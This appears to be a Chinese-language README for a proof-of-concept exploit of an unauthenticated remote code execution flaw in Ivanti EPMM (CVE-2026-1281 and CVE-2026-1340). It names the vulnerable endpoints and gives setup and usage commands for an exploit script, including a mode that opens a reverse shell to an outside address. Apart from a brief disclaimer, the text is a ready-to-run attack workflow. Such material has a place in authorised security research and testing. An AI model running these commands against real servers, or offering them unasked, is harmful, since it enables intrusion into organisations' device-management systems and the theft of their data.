mehdiledeaut/cve-2026-1281-ivanti-epmm-rce# CVE-2026-1281 与 CVE-2026-1340 的概念验证 - 通过 Bash 算术展开实现 Ivanti EPMM 预认证远程代码执行
⚠️ 免责声明： 本 PoC 仅用于教育和安全研究目的。未经明确授权使用属违法行为。
针对影响 Ivanti Endpoint Manager Mobile (EPMM) 的 CVE-2026-1281 和 CVE-2026-1340 漏洞的完整概念验证 (PoC)。这些漏洞允许通过 Bash 算术扩展 机制在无需认证的情况下远程执行任意代码 (RCE)。
/mifs/c/appstore/fob/ 端点中的代码注入/mifs/c/aftstore/fob/ 端点中的代码注入git clone https://github.com/MehdiLeDeaut/CVE-2026-1281-Ivanti-EPMM-RCE.git
cd CVE-2026-1281-Ivanti-EPMM-RCE
pip3 install -r requirements.txt
chmod +x *.py
# 漏洞测试
python3 exploit.py -t https://target.com -c
# RCE 验证
python3 exploit.py -t https://target.com --test-rce
# 反向 Shell
python3 exploit.py -t https://target.com --reverse-shell 10.10.14.5:4444
Mehdi Le Deaut - 网络安全顾问 | 红队专家
本项目采用 MIT 许可证 - 详情请参阅 LICENSE 文件。